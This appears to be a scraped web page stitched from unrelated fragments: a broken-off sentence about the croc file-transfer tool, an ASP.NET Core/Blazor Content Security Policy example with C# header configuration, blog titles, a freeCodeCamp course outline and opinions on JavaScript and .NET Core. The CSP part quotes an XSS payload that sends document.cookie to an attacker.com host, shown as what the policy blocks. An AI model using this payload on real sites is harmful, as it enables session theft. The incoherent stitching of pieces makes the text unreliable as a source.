croc is a tool that allows any two computers to simply and securely transfer files and folders. AFAIK, croc is the only CLI file-transfer tool that does all of the following:
Content-Security-Policy: default-src 'self'
<script>location.href="http://attacker.com/Cookies/?c="+encodeURIComponent(document.cookie);</script>
Refused to execute inline script because it violates the following Content Security Policy directive:
"script-src 'self' 'unsafe-eval'". Either the 'unsafe-inline' keyword,
a hash ('sha256-Rx2R8WNQO+B6FPfeIU/11a0BScUM6Cq7HdThUsPpjOU='),
or a nonce ('nonce-...') is required to enable inline execution. Content-Security-Policy: default-src 'self'; script-src 'sha256-Rx2R8WNQO+B6FPfeIU/11a0BScUM6Cq7HdThUsPpjOU='
<ItemGroup> <PackageReference Include="NetEscapades.AspNetCore.SecurityHeaders" Version="0.20.0" /> </ItemGroup>
public static class SecurityHeadersBuilder
{
public static HeaderPolicyCollection GetCsp(bool isDevelopment)
{
var policy = new HeaderPolicyCollection()
.AddFrameOptionsDeny()
.AddXssProtectionBlock()
.AddContentTypeOptionsNoSniff()
.AddReferrerPolicyStrictOriginWhenCrossOrigin()
.AddCrossOriginOpenerPolicy(builder => builder.SameOrigin())
.AddCrossOriginResourcePolicy(builder => builder.SameOrigin())
.AddCrossOriginEmbedderPolicy(builder => builder.RequireCorp())
.AddContentSecurityPolicy(builder =>
{
builder.AddBaseUri().Self();
builder.AddDefaultSrc().Self().From("blob:");
builder.AddObjectSrc().Self().From("blob:");
builder.AddBlockAllMixedContent();
builder.AddImgSrc().Self().From("data:").From("blob:").From("https:");
builder.AddFontSrc().Self();
builder.AddStyleSrc().Self();
builder.AddFrameAncestors().None();
builder.AddConnectSrc().Self();
builder.AddMediaSrc().Self();
builder.AddScriptSrc().Self()
// Specify any additional hashes to permit your required `non-framework` scripts to load.
.WithHash256("Rx2R8WNQO+B6FPfeIU/11a0BScUM6Cq7HdThUsPpjOU=")
// Specify unsafe-eval to permit the `Blazor WebAssembly Mono runtime` to function.
.UnsafeEval();
//TODO: Add api/CspReport/Log action method ...
// https://www.dntips.ir/post/2706
builder.AddReportUri().To("/api/CspReport/Log");
builder.AddUpgradeInsecureRequests();
})
.RemoveServerHeader()
.AddPermissionsPolicy(builder =>
{
builder.AddAccelerometer().None();
builder.AddAutoplay().None();
builder.AddCamera().None();
builder.AddEncryptedMedia().None();
builder.AddFullscreen().All();
builder.AddGeolocation().None();
builder.AddGyroscope().None();
builder.AddMagnetometer().None();
builder.AddMicrophone().None();
builder.AddMidi().None();
builder.AddPayment().None();
builder.AddPictureInPicture().None();
builder.AddSyncXHR().None();
builder.AddUsb().None();
});
if (!isDevelopment)
{
// maxAge = one year in seconds
policy.AddStrictTransportSecurityMaxAgeIncludeSubDomains();
}
policy.ApplyDocumentHeadersToAllResponses();
return policy;
}
} var app = builder.Build(); // ... var headerPolicyCollection = SecurityHeadersBuilder.GetCsp(app.Environment.IsDevelopment()); app.UseSecurityHeaders(headerPolicyCollection); app.UseHttpsRedirection(); // ...
Content-Security-Policy:base-uri 'self'; default-src 'self' blob:; object-src 'self' blob:; block-all-mixed-content; img-src 'self' data: blob: https:; font-src 'self'; style-src 'self'; frame-ancestors 'none'; connect-src 'self'; media-src 'self'; script-src 'self' 'sha256-Rx2R8WNQO+B6FPfeIU/11a0BScUM6Cq7HdThUsPpjOU=' 'unsafe-eval'; report-uri /api/CspReport/Log; upgrade-insecure-requests Cross-Origin-Embedder-Policy:require-corp Cross-Origin-Opener-Policy:same-origin Cross-Origin-Resource-Policy:same-origin Permissions-Policy:accelerometer=(), autoplay=(), camera=(), encrypted-media=(), fullscreen=*, geolocation=(), gyroscope=(), magnetometer=(), microphone=(), midi=(), payment=(), picture-in-picture=(), sync-xhr=(), usb=() Referrer-Policy:strict-origin-when-cross-origin X-Content-Type-Options:nosniff X-Frame-Options:DENY X-Xss-Protection:1; mode=block
C# 11 Features Now Previewing in Visual Studio: Generic Attributes and More
Free yourself from Internet Explorer 11 in places where (almost) nobody uses it.
Playing with the New Windows Terminal
Announcing the Open Sourcing of Windows Calculator
Complete Guide to Open Source - How to Contribute
⭐️ Course Contents ⭐️
⌨️ (00:00) Introduction
⌨️ (01:11) What is Open Source
⌨️ (01:46) Why you should care about Open Source
⌨️ (04:06) What is Git
⌨️ (04:56) What is GitHub
⌨️ (05:24) Example custom GitHub profile
⌨️ (06:01) GitHub features
⌨️ (13:37) GitHub Actions for Continuous Integration (CI)
⌨️ (14:49) Insights tab for more project information
⌨️ (15:04) GitHub Discussions for threaded conversations
⌨️ (15:41) GitHub Projects board like Trello
⌨️ (16:10) GitHub Wiki
⌨️ (17:15) How to find Open Source projects
⌨️ (19:40) How to write Markdown
⌨️ (27:58) Draft a Pull Request (PR)
⌨️ (29:06) Make money directly with GitHub Sponsors
⌨️ (30:15) Make money indirectly from Open Source
⌨️ (32:19) freeCodeCamp.org Open Source resources
⌨️ (34:04) Everyone is a Project Maintainer
⌨️ (39:49) How to customize your GitHub profile
⌨️ (40:46) Conclusion
I can tell at least that in 3 years, JavaScript will gain more the status of a VM and lose the status of a language. Already today, not many people use raw JavaScript. You usually have some transpilation, at least e.g. Babel. In the future, Web Assembly will enable more innovation in that regards, and existing transpiling languages like Elm, TypeScript, PureScript will continue to improve.
First it is important to recognize that the .NET Framework is not the same as .NET Core. The .NET Framework is effectively now in maintenance mode , and all innovation is occurring in the open source .NET Core now and into the future. So step one to remaining relevant is to understand .NET Core (and the closely related .NET Standard).
